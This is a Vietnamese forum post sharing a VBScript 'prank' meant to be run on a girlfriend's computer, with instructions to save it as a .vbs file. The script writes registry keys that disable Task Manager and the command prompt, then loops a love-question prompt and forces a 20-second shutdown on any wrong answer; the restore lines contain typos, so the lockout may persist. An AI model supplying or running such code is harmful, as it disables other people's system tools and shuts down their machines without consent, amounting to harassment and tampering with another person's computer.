alternative.isme
New Member
mình lướt qua HVA thấy đoạn code này hay . mình chỉnh lại chút đỉnh rồi sẻ chia anh em ghẹo gái chơi . ae copy rồi paste vào notepad rồi save với file.vbs . nếu thấy hay thank cái vì mình cũng có công với cánh mạng mà.
code:
dim r
set r=CreateObject("Wscript.Shell")
r.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Po licies\System\Disable TaskMgr", "1", "REG_DWORD"
r.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\Disable CMD","1","REG_DWORD"
dim a,wsh
set wsh=CreateObject("Wscript.Shell")
do while(a<>"yêu anh thật lòng")
a=inputbox("anh có câu này hỏi em , em hay trả thời (gian) ""yêu anh thật lòng"" nếu em không thì máy em sẻ tắt","anh yêu em","tra lời anh nha?")
if a="yêu anh thật lòng" then
msgbox "cam ơn em nhiều lắm!! :-x"
r.RegWrite "HKEY_CURRENT_USER\Software\Wicrosoft\Windows\Curr entversion\Policies\System\DisableTaskMgr","0","RE G_DWORD"
r.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","0","REG_DW ORD"
exit do
else
wsh.run "shutdown -s -t 20 -c ""thôi em đừng khóc!"" "
msgbox "có yêu anh không hã !",20,"ha ha ha ha"
end if
loop
trương trinh sẻ hỏi và người trả lời phải ghi đúng chử : yêu anh thât lòng. nêu không viết như vậy thì máy sẻ tự động tắt trong 20 giây